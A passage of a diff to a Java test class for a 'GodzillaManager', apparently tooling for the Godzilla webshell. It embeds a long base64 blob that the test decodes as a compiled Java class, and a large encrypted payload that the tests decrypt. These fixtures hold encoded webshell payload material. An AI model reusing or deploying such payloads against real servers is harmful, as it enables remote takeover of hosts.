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"); + printClassVersion(bytes1); + } + + @SneakyThrows + private void printClassVersion(byte[] bytes) { + DataInputStream dataInputStream = new DataInputStream(new ByteArrayInputStream(bytes)); + int magic = dataInputStream.readInt(); + short minorVersion = dataInputStream.readShort(); + short majorVersion = dataInputStream.readShort(); + System.out.println("magic: " + magic); + System.out.println("Major Version: " + majorVersion); + System.out.println("Minor Version: " + minorVersion); + } + @Test void testRestorePayload(){ String payload = "k2qs7l3%2F4ZZaGyyrfpBQGg0dXGM%2BFVFxzmCWLnyFEgoPSpSjHre4o1HBHTCFnNDX"; @@ -28,4 +70,62 @@ class GodzillaManagerTest { Map map = GodzillaManager.restorePayload(key, payload); assertEquals("test", map.get("methodName")); } + + @Test + void testRestoreClassPayload() { + String payload = "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